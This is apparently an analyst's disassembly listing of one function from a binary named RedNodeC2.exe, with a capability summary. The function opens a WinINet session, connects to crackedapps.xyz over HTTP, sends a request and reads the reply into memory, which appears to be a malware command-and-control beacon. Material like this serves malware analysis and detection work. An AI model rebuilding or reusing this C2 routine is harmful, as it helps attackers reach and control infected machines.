Function at 0x140002dd8
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r15d, [r13 + 8]
mov r8d, 0x104
mov rcx, rax
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
lea rbx, [0x14000539c]
lea r14, [0x140005308]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.RedNodeC2
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
jne 0x140002e73
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Failed_to_open_internet:__d_n
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rdi
call sym.RedNodeC2.exe_OutputDebugStringA
mov rcx, rbx
call sym.RedNodeC2.exe_OutputDebugStringA
jmp 0x140002e26
mov qword [rsp + 0x38], 1
lea rdx, str.crackedapps.xyz
mov dword [rsp + 0x30], r13d
mov r8d, 0x50
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rbp
mov qword [rsp + 0x20], r13
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
test rax, rax
jne 0x140002edd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Failed_to_connect:__d_n
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rdi
call sym.RedNodeC2.exe_OutputDebugStringA
mov rcx, rbx
call sym.RedNodeC2.exe_OutputDebugStringA
jmp 0x14000302e
mov r8, qword [rsp + 0xa0]
xor r9d, r9d
mov qword [rsp + 0x38], r13
mov rdx, r14
mov dword [rsp + 0x30], 0x80000000
mov rcx, r12
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
jne 0x140002f41
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Failed_to_open_request::__d_n
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rdi
call sym.RedNodeC2.exe_OutputDebugStringA
mov rcx, rbx
call sym.RedNodeC2.exe_OutputDebugStringA
jmp 0x140003025
mov r9d, 4
mov dword [rsp + 0x98], 0x493e0
lea r8, [rsp + 0x98]
mov rcx, rsi
lea edx, [r9 - 2]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
lea r8, [rsp + 0x98]
mov rcx, rsi
lea edx, [r9 + 2]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
lea r8, [rsp + 0x98]
mov rcx, rsi
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rdx, r14
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140002fb7
mov dword [rsp + 0x20], r13d
xor r9d, r9d
jmp 0x140002fda
lea rdx, str.POST
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140002fed
mov eax, dword [VariantCopy]
mov r9, qword [r13]
mov dword [rsp + 0x20], eax
or r8d, 0xffffffff
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x14000303c
call qword [sym.imp.KERNEL32.dll_GetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Failed_to_send_request:__d_n
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rdi
call sym.RedNodeC2.exe_OutputDebugStringA
mov rcx, rbx
call sym.RedNodeC2.exe_OutputDebugStringA
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002e26
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x10
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x800
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x1400030a7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.tempBuff_faild_to_allocate_memory:__d_n
mov r8d, eax
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rdi
call sym.RedNodeC2.exe_OutputDebugStringA
mov rcx, rbx
call sym.RedNodeC2.exe_OutputDebugStringA
xor eax, eax
jmp 0x14000319f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx - 7]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [r14], rax
test rax, rax
jne 0x1400030d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.faild_to_allocate_memory__d__n_n
jmp 0x140003084
mov dword [r14 + 8], r13d
jmp 0x14000313b
mov ecx, dword [rsp + 0x90]
test ecx, ecx
je 0x140003159
mov ebx, dword [r14 + 8]
add ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [r14]
mov r9d, ebx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov r8d, dword [r14 + 8]
mov qword [r14], rax
mov edx, dword [rsp + 0x90]
add r8, rax
je 0x140003137
test edx, edx
je 0x140003137
mov rcx, r15
sub rcx, r8
mov al, byte [rcx + r8]
mov byte [r8], al
inc r8
add edx, 0xffffffff
jne 0x140003121
mov edx, dword [rsp + 0x90]
add dword [r14 + 8], edx
lea r9, [rsp + 0x90]
mov r8d, 0x800
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400030dc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, r14
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret